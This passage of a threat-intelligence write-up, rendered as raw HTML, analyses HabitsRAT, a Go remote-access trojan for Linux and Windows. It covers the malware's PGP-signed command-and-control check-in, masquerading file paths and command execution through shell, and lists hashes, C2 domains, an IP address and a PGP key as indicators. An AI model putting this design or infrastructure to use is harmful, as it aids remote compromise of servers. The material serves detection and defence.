&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Actions&lt;/span&gt; &lt;span class="na"&gt;Context=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Author&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Exec&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;Command&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pathtobinary
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Command&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Exec&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/Actions&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/Task&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Command and Control Communication&lt;span class="hx:absolute hx:-mt-20" id="command-and-control-communication"&gt;&lt;/span&gt;
&lt;a href="#command-and-control-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The RAT uses public-key cryptography to both encrypt and authenticate the
commands from the C2 server. The malware generates a public-private key pair
using an open-source library provided by Proton Mail. Figure 2 shows the call
to the
&lt;a href="https://pkg.go.dev/github.com/ProtonMail/gopenpgp/v2@v2.1.7/helper#GenerateKey"target="_blank" rel="noopener"&gt;GenerateKey&lt;/a&gt;
function and its arguments. The malware uses the machine&amp;rsquo;s hostname as the name
and an email address of &amp;ldquo;&lt;a href="mailto:a@a.a"&gt;a@a.a&lt;/a&gt;&amp;rdquo;. No password is provided and it&amp;rsquo;s requesting a
2048-bit RSA key to be used.&lt;/p&gt;
&lt;p&gt;The key is stored and written to disk. The Linux version of HabitsRAT writes to
&lt;code&gt;$HOME/.config/.accounts-daemon/accounts-daemon.login.conf&lt;/code&gt; if it is running as
a normal user or to &lt;code&gt;/usr/share/accounts-daemon/accounts-daemon.so&lt;/code&gt;. The
Windows version uses &lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.dll&lt;/code&gt; or
&lt;code&gt;%APPDATA%\Windows NT\Defender\MsMpEng.dll&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/images/fig2.png" title="Figure 2: Generation of public-private key pair using the open-source library from Proton Mail." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: Generation of public-private key pair using the open-source library from Proton Mail.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;HabitsRAT sends a &amp;ldquo;check-in&amp;rdquo; POST request to the C2 server to see if it should
execute a command. As part of the request, it sends some data about the
infected machine. The form data of the request is shown below. The data
includes the &lt;code&gt;no_replay&lt;/code&gt; field that holds the sha256 hash of some random data.
This acts like a nonce to prevent executing the same request multiple times.
The request also includes the public key for the malware instance. This is to
allow the C2 server to encrypt the commands to it. It also has a version value
that is hardcoded to 11.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;no_replay: [sha256 hash of random data]
public_key: public key in ascii armour
hostname: [machine hostname]
goos: [linux or window]
goarch: amd64
shell: [$SHELL expanded]
root: [true or false]
version: 11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The data is sent to &lt;code&gt;https://brian.krebsonsecurity[.]top/checkin&lt;/code&gt;. If no
command is returned, the malware sleeps for 10 seconds and sends the request
again. If the C2 responds with data, the malware checks that the threat actor&amp;rsquo;s
key has signed it. A hardcoded public key is included in the binary. Extracted
information from the key shows that it was generated in December 2020 and
includes a name and a Gmail address.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;pub rsa3072 2020-12-03 [SC] [expires: 2022-12-03]
uid [REDACTED] &amp;lt;[REDACTED]@gmail.com&amp;gt;
sub rsa3072 2020-12-03 [E] [expires: 2022-12-03]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If the correct key has signed the response, HabitsRAT uses its private key to
decrypt the payload. The data has been serialized to JSON and the malware
unmarshals it to the data structure shown below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;CommandList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;No_replay&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Commands&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Commands field is passed as arguments to either &lt;code&gt;bash -c&lt;/code&gt; for the Linux
version or &lt;code&gt;cmd /c&lt;/code&gt; for the Windows version.&lt;/p&gt;
&lt;h3&gt;HabitsRAT Version 12&lt;span class="hx:absolute hx:-mt-20" id="habitsrat-version-12"&gt;&lt;/span&gt;
&lt;a href="#habitsrat-version-12" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;A newer Windows version of HabitsRAT has also been found. Much of the
functionality is the same as version 11. The main difference is that it&amp;rsquo;s using
a different C2 public key and supports multiple C2 addresses. As can be seen
from the snippet below, this key was generated on the 2nd of April.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;pub rsa3072 2021-04-02 [SC] [expires: 2023-04-02]
uid Brian Krebs &amp;lt;krebsonsecurity@gmail.com&amp;gt;
sub rsa3072 2021-04-02 [E] [expires: 2023-04-02]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The malware uses four different C2 addresses and picks one out of random. The
addresses are as follows, which includes a domain of Brian Krebs&amp;rsquo;s leaked
social security number:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;https://brian-krebs-erectile-dysfunction[.]com
https://krebsonfellatio[.]net
http://XXX-XX-XXXX.com (Redacted)
hxxp://185.193.126.198&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The addresses are stored at:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The HabitsRAT is a multi-operating system malware targeting both Windows and
Linux environments. There is a lot of code reuse between the two variants. It
provides the attacker with the capability to execute arbitrary code on the
infected machine. To protect its C2 communication, the data is encrypted and
signed using PGP. Ensure internet facing servers are patched to prevent being
infected by HabitsRAT. Indicators of Compromise (IoCs) below can be used to
detect if a server has been compromised. Go malware has been hard to detect by
Antivirus products so it&amp;rsquo;s likely this trend will continue. We have seen threat
actors pivot and target different operating systems with the same codebase for
the malware, resulting in low or undetected malware samples, especially for
Linux—which has a large presence in the cloud. Since the malware is derived
from the same codebase, detection based on
&lt;a href="https://analyze.intezer.com/files/338e41f1a8be56339b039835b06d815a3666c8b0d5725b63be7bf54c8745704a?utm_campaign=research-blog&amp;amp;utm_content=habitsrat-used-to-target-linux-and-windows-servers&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;code reuse&lt;/a&gt;
has proven to be very effective.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Hashes&lt;span class="hx:absolute hx:-mt-20" id="hashes"&gt;&lt;/span&gt;
&lt;a href="#hashes" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Windows version of HabitsRAT&lt;span class="hx:absolute hx:-mt-20" id="windows-version-of-habitsrat"&gt;&lt;/span&gt;
&lt;a href="#windows-version-of-habitsrat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;29ebf9771e52cde90776eeccd89aaf4c19577ef136258daef1a17c767ce88c9d
37a16e79e5be132d7e6c2e1ee482d80d93ad942af7110a4bc3a05f0b575236b0
5f7d898ade3162bfb0c8d3006c42e934ff81fab3b4ad3b51c13441fd63e438cb
9e840be4b4ab358bc3405e2c688f3ab1a9d286bd4fb9edb4468dc688962b4893
f556c9b4e5bb463be84dead45a9aedcf8bec41c1c2b503ea52719357943750e7&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Linux version of HabitsRAT&lt;span class="hx:absolute hx:-mt-20" id="linux-version-of-habitsrat"&gt;&lt;/span&gt;
&lt;a href="#linux-version-of-habitsrat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;338e41f1a8be56339b039835b06d815a3666c8b0d5725b63be7bf54c8745704a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File paths&lt;span class="hx:absolute hx:-mt-20" id="file-paths"&gt;&lt;/span&gt;
&lt;a href="#file-paths" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.exe
$HOME/.config/polkitd/polkitd
/etc/systemd/system/polkitd.service
%TEMP%\krebsonsecurity.xml
$HOME/.config/.accounts-daemon/accounts-daemon.login.conf
/usr/share/accounts-daemon/accounts-daemon.so
%SystemDrive%\Windows\Defender\MsMpEng.dll
%APPDATA%\Windows NT\Defender\MsMpEng.dll
%SystemDrive%\Windows\Defender\Defender.dll
%APPDATA%\Windows NT\Defender\Defender.dll&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network indicators&lt;span class="hx:absolute hx:-mt-20" id="network-indicators"&gt;&lt;/span&gt;
&lt;a href="#network-indicators" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;brian[.]krebsonsecurity[.]top
brian-krebs-erectile-dysfunction[.]com
krebsonfellatio[.]net
185.193.126.198&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;C2 public keys&lt;span class="hx:absolute hx:-mt-20" id="c2-public-keys"&gt;&lt;/span&gt;
&lt;a href="#c2-public-keys" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Version 11&lt;span class="hx:absolute hx:-mt-20" id="version-11"&gt;&lt;/span&gt;
&lt;a href="#version-11" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBF/I9bUBDACtHQlddPduY2DXMrQHxsh&amp;#43;jCP2ojeMi&amp;#43;08VmuC/eCG3&amp;#43;x0815p
ymssBejVcCckahu0EIJZIl5WaRY&amp;#43;nOJKF9VOdLoegpVmqPmX3GE0FJBR/cGGLSqQ
bofuDbWBIwQPVwHT&amp;#43;QriDpAK9M80H5f6FPm2HqcXJV2fI7FJ5pLWSTMRGhnTjt5D
aSiZqbXhYuq1W3S4zWSsh0TZPn0a4J44N/MwrlrPtr&amp;#43;Q&amp;#43;p31diEHPhQVQZ7a6QKD
ysM3SAx5hSUueli6nawRt6UkOhTbeL1SaGA1dv3PHliTLvOt&amp;#43;OZ6oEAU8aKp3Y2S
PQ3jKkR7x6jzkRNbu3DoXz70Te97f5ZS0qS6WFWSnpTXWC8JN0NG0cG3tDZ9ClyH
NhNnMKl040y33BzBzhQmQmHaX7NwwqEB54HIYsfE4fiSrKovxOkBBXcmS8sPhuhH
Hk6ZiXqEzlB&amp;#43;pIMvtXvNWT3qqhOC/ggmCUpt1YNHnOYoI93A&amp;#43;dlpbRSbmFOkSwL0
Zvd3RhzddtTIUf8AEQEAAbQnTWF0dCBIYXluaWUgPHBhemVyZnJvbXNpbHZlckBn
bWFpbC5jb20&amp;#43;iQHUBBMBCAA&amp;#43;FiEEmgXO4h7loKvki421YmZthezMP4EFAl/I9bUC
GwMFCQPCtQsFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQYmZthezMP4Ex/gv9
FHhkSKm9u5REhdCF&amp;#43;Ez8jk4LzoLGOaNdA8hcMCVHBWCMeE3yTGHec1P16WAqJhG&amp;#43;
LmlfpS7r0QIANeZC2W0rFI2b/lMBFzpzynR2Fi/Gpph4chNlzqlQJWgSvlBPsw0M
nnNwpzRfQhbcSdS/j&amp;#43;zFPE01bSkpm93TczcIvXvdFqJQfpU03pHrAFAvA1pmBkEW
NOmZ8JgLn&amp;#43;HReJQCeCteUbiBdGVIDPneyENZzRcO3fuXzlg3yysPIFKRBbGAqiCt
gtf&amp;#43;RsoyQ19k5vTSjXHK1KYWVvE9dA4levuN8iYKLhPxpBDNGSkY0n5NqECQpkJW
oG0dTDzMDtbAAdjhsoFIv4vH3aGr3iuoYv1ax5WxBSRb2h4Zno0Np4emo91p8FS4
KQXuNivYO5SXcEiXNRfDbUSN3J51b6v&amp;#43;SZGmdDhQUEWrEQ7MGl8eBT7DH3&amp;#43;ioZtO
qtezE/MnDzRIZW&amp;#43;o7yeryF9/aqLCa5oEFKNKgHM6n9Jmh4KAip1oiJArCJUHUQkI
uQGNBF/I9bUBDADrDvqlvnPjMQNXCWdlKjBgmiVAcWxRe5NmdIe4d43GdLXEOsWI
eTNY1/L5g4ZLXTeTgMo9ugU9bhwviWq6gro2hPXZVmBhHEVEAtICNjFTlHBOUhab
U&amp;#43;riCEeNzE3jneqfS/x04eNirM7hAplSOMOtag49TPwjzqnqGr1r/oe8L1BXHcUP
Cl6EQzk4NSGrNVO8E7Ppm7yeDnK9C0&amp;#43;4LXaMu19np/r43lg1FBk6O4d/q4/S7p&amp;#43;q
P/TILTDC0hPSQw&amp;#43;aAjQPKlfWAjZUQ0CcJT1A5x5SIVWqlpL85ltphdJzCmCiTtmm
kMIvX86OxZkzhligkJ1r1QM8OL&amp;#43;t9Mzq9mglc6PHUXIISiaVvwI3ZWH1OxI6ate3
znV8n3wfAbURDoTmPCMSNziSrvT39zsUCxY7zQoKoeNUBmx8AWW0Sgms2z1oK8ti
&amp;#43;JekSBbxLNVElglwDgtSLkgA4dOnfTUtCDstZouxVnenhLD7jUSmhbS&amp;#43;XIkjsOUY
&amp;#43;mXshXvqEb1rD5cAEQEAAYkBvAQYAQgAJhYhBJoFzuIe5aCr5IuNtWJmbYXszD&amp;#43;B
BQJfyPW1AhsMBQkDwrULAAoJEGJmbYXszD&amp;#43;BbzUMAIviQCxye0jQVnHwT1JjnyjF
7JaiJlU2nOQave16DmyHcu0rejJLhJoQXaA28Qgkv&amp;#43;6mOK4fXWyPV&amp;#43;iAcr3AKuTV
EVY6EDwwUwGn/RxcIYVt8qSZanj&amp;#43;cd6g9iJR3UMb9//25ggIW618NvW0zODowwNu
GDF5ei4cyhvA3NjCCqIvwxO&amp;#43;XRJynp&amp;#43;0lQl0ulOCS&amp;#43;Y&amp;#43;/V3H0&amp;#43;0EhIrJ8x5TvnE9
